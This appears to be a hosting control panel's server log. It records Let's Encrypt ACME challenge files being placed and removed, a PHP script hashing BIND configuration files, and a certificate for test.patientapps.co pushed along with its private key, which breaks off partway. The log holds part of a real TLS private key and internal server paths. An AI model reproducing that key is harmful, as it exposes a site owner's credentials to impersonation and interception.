VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-26 06:00:15: Establishing a connection
2026-01-26 06:00:15: Establishing a connection
2026-01-26 06:00:16: 

PUT: /tmp/pkp809131

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-26 06:00:16: 

chmod 755 /tmp/pkp809131; /tmp/pkp809131; rm /tmp/pkp809131

2026-01-26 06:00:16: 


1


2026-01-26 06:00:16: Establishing a connection
2026-01-26 06:00:17: 

PUT: /tmp/pkp225360

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 1CvFQX0iR8D2RHYsEdNmdkhrhqLVyxGO-SuNbxnDQUo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1CvFQX0iR8D2RHYsEdNmdkhrhqLVyxGO-SuNbxnDQUo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1CvFQX0iR8D2RHYsEdNmdkhrhqLVyxGO-SuNbxnDQUo


2026-01-26 06:00:17: 

chmod 755 /tmp/pkp225360; /tmp/pkp225360; rm /tmp/pkp225360

2026-01-26 06:00:17: 




2026-01-26 06:00:18: Establishing a remote connection
2026-01-26 12:16:14: Establishing a connection
2026-01-26 12:16:25: Establishing a connection
2026-01-26 12:16:25: 

PUT: /tmp/pkp412552

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-26 12:16:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp412552; rm /tmp/pkp412552'

2026-01-26 12:16:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-26 12:16:35: Establishing a connection
2026-01-26 12:16:35: Establishing a connection
2026-01-26 12:16:35: 

PUT: /tmp/pkp482684

#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-26 12:16:35: 

chmod 755 /tmp/pkp482684; /tmp/pkp482684; rm /tmp/pkp482684

2026-01-26 12:16:35: 


1


2026-01-26 12:16:37: Establishing a connection
2026-01-26 12:16:37: 

PUT: /tmp/pkp320922

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > VvdpHBXHmUB5RDgdKp0pYeLF_57fjvyFxDi3XVajQXY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VvdpHBXHmUB5RDgdKp0pYeLF_57fjvyFxDi3XVajQXY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VvdpHBXHmUB5RDgdKp0pYeLF_57fjvyFxDi3XVajQXY


2026-01-26 12:16:37: 

chmod 755 /tmp/pkp320922; /tmp/pkp320922; rm /tmp/pkp320922

2026-01-26 12:16:37: 




2026-01-26 12:16:43: Establishing a connection
2026-01-26 12:16:43: 

PUT: /tmp/pkp185638

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm VvdpHBXHmUB5RDgdKp0pYeLF_57fjvyFxDi3XVajQXY


2026-01-26 12:16:44: 

chmod 755 /tmp/pkp185638; /tmp/pkp185638; rm /tmp/pkp185638

2026-01-26 12:16:44: 




2026-01-26 12:16:44: Establishing a connection
2026-01-26 12:16:44: 

PUT: /tmp/pkp256536

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293

cat > $temp_file <<'endmsg'
0f:ff:5b:b3:60:ed:be:bb:63:fa:00:c8:7e:09:c9:85

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBj+dKn+sXvliOY12D7vaEfJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI2MTExODEyWhcNMjYwNDI2MTExODExWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArEmepvmZQMyP6Ivq+U7OP43t4nJHtkJn6zRFubs9Vu0ytcj/pl9/E0Cp
hFCYOP0u9Yc0JGLsccJUsUWICx2ctU/DWeDiiuQ560M5+AGQGD+pTDcqMBP7nMqh
fwevrrJIE/V1ZQDrpV2ROwQOUn3FnZ1tGU6mMawYbZBugfp+ZDu+IRtRjU5F1vRF
3D8gAA+K0X+ceMYZh4h2sIjyZABmVUXCACfP16UG4uG4mtLjx6aKMZKOnVbACooa
6b7TY3ZHsVUXpqRLbACpBEq5hj6JJf1d+VbaK/8zSjZqDmqX0LZS2Jyd4UBEkhGR
qrOyKdkLwtTrVETPn5T9O3s/WzTk8wIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBR/U5eYAVrSn1ClCagA5S6uCncxWTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85Ni5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZv6PCAAAAgA
AAUAB9bgZgQDAEYwRAIgK/IXdspzF5KwQ+ScMAiy7CYgAdqNGcAFNdf9g9tT3JEC
IE3LWQczBTeSiGp4hYT23An8UJO4o3OvWGtYFK/UdBZjAHcA0W6ppWgHfmY1oD83
pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGb+jwgJwAABAMASDBGAiEAy2x1LEaDTek9
EGi/LCfX0Dg8K43ndLx+smCeASE2m5YCIQDwzkFerxVDSp5FSaM9jdcHcOcOrxev
H5o6CX6nrCCz6DANBgkqhkiG9w0BAQsFAAOCAQEAOhsDJemjPk5jzemQaGnrDn9J
p2qISlRsN9zk0g46mRhvW1SsBHDF5YEaK75sOyEI1LlWp9tHn1jhX8Mf84jP031t
v7KrdCbrbcvuYj1A35yDq4Aiuxi6tUREjD2VhmMPrMGEf8/cHcPKfukPyQeciVB5
k9P8MEghYdLlpe0AbE49ZxhUDDkLyTwshWW/fx8inrdxGjCnhTAxQ+V/gNLmL+Ju
X/qy1tHTIrqEPbmkq8YogcsGGTGbNRfpjWj6MOts+MeWJt+acDJffO+/ObZ1J5rb
MvY9KPFpZhr3Xk708tfcmhWy1uz/0mfAT+rAC9hYsbnZ9rEDmQf34xOAQ6742Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsSZ6m+ZlAzI/o
i+r5Ts4/je3icke2QmfrNEW5uz1W7TK1yP+mX38TQKmEUJg4/S71hzQkYuxxwlSx
RYgLHZy1T8NZ4OKK5DnrQzn4AZAYP6lMNyowE/ucyqF/B6+uskgT9XVlAOulXZE7
BA5SfcWdnW0ZTqYxrBhtkG6B+n5kO74hG1GNTkXW9EXcPyAAD4rRf5x4xhmHiHaw
iPJkAGZVRcIAJ8/XpQbi4bia0uPHpooxko6dVsAKihrpvtNjdkexVRempEtsAKkE
SrmGPokl/V35Vtor/zNKNmoOapfQtlLYnJ3hQESSEZGqs7Ip2QvC1OtURM+flP07
ez9bNOTzAgMBAAECggEANpidzgwKpJ4ufGLac2altT4kxD2yu+8PP1mxPso3BfTk
vPaVDQP2IQO8tFFV67lPyD6wJ1ex1drfO83s7pjTsCE2pqS9JYZtVEBZfl4Aa67A
14YjuFicw3Ly+m5VHechMDH4oalJA35DJ5CBeWKh3PCmQf7Ka7M9inraihX3N4ux
eJ1tilR+ctubScmFTxbsth8HTjwaEDhnDP5wtwjxE2LTJVSxNl0RvH6JBXnopnBt
